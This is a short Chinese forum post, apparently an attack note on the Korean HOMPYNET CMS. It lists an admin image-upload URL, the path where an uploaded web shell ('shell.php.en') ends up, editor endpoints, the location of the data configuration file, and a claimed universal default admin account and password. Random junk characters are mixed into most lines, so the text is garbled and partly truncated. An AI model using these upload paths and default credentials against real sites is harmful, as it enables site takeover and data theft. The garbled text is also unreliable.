韩国HOMPYNET CMS漏洞

admin

上传漏洞  :

http://www.xxx.com/admin/image_a ... p;iname=&iform=
6 b2 U5 s. t) `! s) d  t+ u
, H4 J+ p% d. |* _' f" p  ]http://www.xxx.com/admin/image_a ... p;iname=&iform=
- j; ~3 b/ Q* B
上传后路径：
1 @. s! }5 L  s% N; c& Z+ g" n
http://www.xxx.com/bis_web_page/images/shell.php.en

3 G- ?) }3 {  v. m( `编辑器：

8 f- f" I& r; H. U0 Lhttp://www.xxx.com/admin/editor/SWE.php

( w( L) a; e" a- |( e: y$ _http://www.xxx.com/program/editor/SWE.php
) ]! }' E. [3 K# L
  D( t% T5 m5 ~& t3 y5 B1 L, {5 ~4 [数据配置文件路径：
* h+ u/ u/ K* ^, U0 P& I
http://www.xxx.com/m_config/DATA/g_setting.php
; d5 C  t& @1 X. t8 q: f. }: T
4 ]+ A0 V3 H7 G此程序通用后台账号 ：gamsiw  php99

- {" B# r" z: e$ k  E​